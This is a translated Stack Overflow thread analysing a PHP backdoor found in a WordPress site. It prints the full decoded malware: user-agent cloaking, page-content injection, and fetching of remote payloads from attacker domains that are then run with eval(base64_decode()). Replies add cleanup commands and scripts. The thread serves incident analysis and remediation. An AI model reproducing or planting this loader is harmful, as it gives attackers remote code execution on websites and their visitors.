这个PHP漏洞代码(在我的应用中发现)到底是什么?

5
我在我的一个客户网站(wordpress)的所有php文件中发现了这段以base64编码的代码,并试图理解它的作用。
我还试图弄清楚它是应用程序漏洞还是直接FTP访问通过了此代码。
一切都始于setup_globals_777()ob_start('mrobh')将回调设置为mrobh($content)函数。
然后有一个调用gzdecodeit ($decode),麻烦从这里开始。
它似乎获取页面内容并更改它。现在我正在尝试检测特定更改并理解所有功能,包括第二个gzdecodeit()
能否有人对此进行解释?
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out

回调函数:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}
设置函数(易懂版)
function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz);
        if (is_dir($rz)) {
            $mz = $rz;
        } else {
            $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                }
            } else {
                $mz = $rz;
            }
        }
    } else {
        $mz = $rz;
    }
    $bot = 0;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
        $bot = 1;
    if (stristr($ua, "bingbot") || stristr($ua, "google"))
        $bot = 1;
    $msie = 0;
    if (is_msie_777($ua))
        $msie = 1;
    $mac = 0;
    if (is_mac_777($ua))
        $mac = 1;
    if (($msie == 0) && ($mac == 0))
        $bot = 1;
    global $_SERVER;
    $_SERVER['s_p1'] = $mz;
    $_SERVER['s_b1'] = $bot;
    $_SERVER['s_t1'] = 1200;
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
     urlencode($_SERVER["PHP_SELF"]) . "&a=" .
     urlencode($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
    $_SERVER['s_script'] = "mm.php?d=1";
}

回调执行后第一个被调用的函数:

这里是魔法发生的地方。我看不到其他可用函数的调用,也无法理解这个函数实际上正在解码什么,因为$decode变量是由ob_start()捕获的应用程序输出。

function gzdecodeit ($decode)
{
    $t = @ord(@substr($decode, 3, 1));
    $start = 10;
    $v = 0;
    if ($t & 4) {
        $str = @unpack('v', substr($decode, 10, 2));
        $str = $str[1];
        $start += 2 + $str;
    }
    if ($t & 8) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 16) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 2) {
        $start += 2;
    }
    $ret = @gzinflate(@substr($decode, $start));
    if ($ret === FALSE) {
        $ret = $decode;
    }
    return $ret;
}

所有可用的函数(在base64_decode()之后):

<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (! function_exists('mrobh')) {
        function get_tds_777 ($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }
        function trycurl_777 ($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777 ($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777 ($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (! feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777 ($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (! $f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (! feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function trysocket_777 ($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (! @socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function update_tds_file_777 ($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list ($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777 ()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777 ($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777 ($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
             stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777 ()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (! is_dir($rz)) {
                        @mkdir($rz);
                        if (is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
             urlencode($_SERVER["PHP_SELF"]) . "&a=" .
             urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
            $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
            $_SERVER['s_script'] = "mm.php?d=1";
        }


        if (! function_exists('gml_777')) {
            function gml_777 ()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '';
                return $r_string_777;
            }
        }
        if (! function_exists('gzdecodeit')) {
            function gzdecodeit ($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh ($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', 
                gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

    }
}

3
我会担心修复您的安全问题而不是理解这段代码的作用。 - dynamic
@yes123 是的,但我在询问代码方面。我想要理解它。我是一个PHP程序员,以前没有见过这些语句组合。 - Keyne Viana
不确定这是否是同一件事,但您可能想看一下:http://www.tumblr.com/tagged/hack?before=1329947869 - Paul Dessert
看起来它向页面添加了垃圾内容——可能是广告、链接到其他恶意软件等。 - jprofitt
@summea,没有任何的“踩”(down vote)。实际上发生的情况是我选择了另一个回答作为正确答案,因为它更详细地解释了代码。我给你的答案点赞是因为它包含了有用的信息。这就是为什么你失去了声望值。 - Keyne Viana
3个回答

7

看起来它创建了一个隐藏的.log文件夹:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
    @mkdir($rz);
    if (is_dir($rz)) {
        $mz = $rz;
    } else {
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
        if (! is_dir($rz)) {
            @mkdir($rz);
            if (is_dir($rz)) {
                $mz = $rz;
            }
        } else {
            $mz = $rz;
        }
    }
} else {
    $mz = $rz;
}

接着似乎从以下两个网址下载代码:http://www.lolypopholypop.com/g_load.phphttp://sweepstakesandcontestsdo.com/,对其进行base64解码,然后执行:

function update_tds_file_777 ($tdsfile)
    {
        $actual1 = $_SERVER['s_a1'];
        $actual2 = $_SERVER['s_a2'];
        $val = get_tds_777($actual1);
        if ($val == "")
            $val = get_tds_777($actual2);
        $f = @fopen($tdsfile, "w");
        if ($f) {
            @fwrite($f, $val);
            @fclose($f);
        }
        if (strstr($val, "|||CODE|||")) {
            list ($val, $code) = explode("|||CODE|||", $val);
            eval(base64_decode($code));
        }
        return $val;
    }

因此,他们无需再次访问您的服务器,即可执行不同的代码。


你能指出 update_tds_file_777() 函数的第一次调用发生在哪里吗? - Keyne Viana
我不确定,上面发布的所有代码都是吗?因为我没有看到get_actual_tds_777()被调用。 - Captain Insaneo
是的,没错。这就是我认为gzdecodeit()在做某些事情的原因。 - Keyne Viana
gzdecode仅解析和解码传递的内容。它是如何工作的对我来说很有趣。看起来解码算法是基于第三个字符的ASCII值而改变的。我不确定那些其他函数是如何调用的。此外,它总是膨胀数据。有关使用的功能的更多信息,请参阅http://php.net/manual/en/function.ord.php和http://php.net/manual/en/function.gzinflate.php和http://php.net/manual/en/function.unpack.php。 - Captain Insaneo

5

丹·希尔写了一篇关于WordPress安装程序被base64黑客攻击的文章

引用丹的调查结果:

我发现的黑客攻击本质上是在WordPress的上传文件夹中创建一个新的php文件,从而允许远程文件系统控制,然后修改正在服务的页面(每个.php文件)以包含一个脚本标记,将访问者重定向到一些不良网站。

为了解决问题,尝试了以下方法:


我分三个阶段完成了这项工作。首先,找到任何可编辑的目录(tsk tsk):

find . -type d -perm -o=w

并使它们不可被所有用户写入:

find . -type d -perm -o=w -print -exec chmod 770 {} \;

删除这些人创建的所有新文件:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;

在WordPress中,上传文件夹不应包含任何PHP代码。
接下来,修复所有被感染的PHP文件。我曾经使用sed和xargs进行尝试,但最终放弃并编写了一个快速的Ruby脚本来完成这项任务。请在您的根目录下运行该Ruby脚本:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
    puts f
    begin
        contents = File.read(f)
        contents =  contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")

        File.open(f, 'w') {|f| f.write(contents) }
    rescue
        puts "FILE ERROR"
    end
end

最后一步是升级所有旧的、被遗忘的WordPress安装,以防止出现任何其他漏洞。为了好运,额外的步骤是重置您的密码,特别是存储在wp-config.php文件中的任何明文MySQL密码。


希望丹的发现能够有所帮助!


1

对于那些寻找非 Ruby 解决方案的人,这里提供 Dan Hill 代码的 PHP 版本:

<?php
function fileExtension($filename) {
    $pathInfo = pathinfo($filename);
    return strtolower($pathInfo['extension']);
}

function fixFiles($path) {
    $path = str_replace('././', './', $path);
    $d = @opendir($path);

    if ($d) {
        while (($entry = readdir($d)) !== false) {
            $baseEntry = $entry;
            $entry = str_replace('././', './', $path . '/' . $entry);

            if ($baseEntry != '.' && $baseEntry != '..') {
                if (is_file($entry)) {
                    $fe = fileExtension($entry);

                    if ($fe == 'php') {
                        $contents = file_get_contents($entry);
                        $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);

                        $f = fopen($entry, 'w');
                        fputs($f, $contents);
                        fclose($f);

                        echo $entry . '<br>';
                        flush();
                    }
                }
                else if (is_dir($entry)) {
                    fixFiles($path . '/' . basename($entry));
                }
            }
        }

        closedir($d);
    }
}

fixFiles('.');
?>

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接